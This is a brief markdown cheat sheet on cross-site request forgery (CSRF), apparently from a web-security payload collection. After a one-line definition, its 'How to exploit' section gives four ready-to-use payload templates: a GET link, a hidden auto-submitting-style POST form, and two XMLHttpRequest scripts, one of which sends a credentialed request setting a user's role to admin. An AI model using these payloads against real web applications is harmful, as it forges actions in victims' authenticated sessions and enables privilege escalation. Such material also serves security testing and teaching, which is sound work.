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# Cross Site Request Forgery (CSRF)
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## Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
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## How to exploit
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1. HTML GET Method
```html
< a href = "http://www.example.com/api/setusername?username=uname" > Click Me< / a >
```
2. HTML POST Method
```html
< form action = "http://www.example.com/api/setusername" enctype = "text/plain" method = "POST" >
< input name = "username" type = "hidden" value = "uname" / >
< input type = "submit" value = "Submit Request" / >
< / form >
```
3. JSON GET Method
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
< / script >
```
4. JSON POST Method
```html
< script >
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
< / script >
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```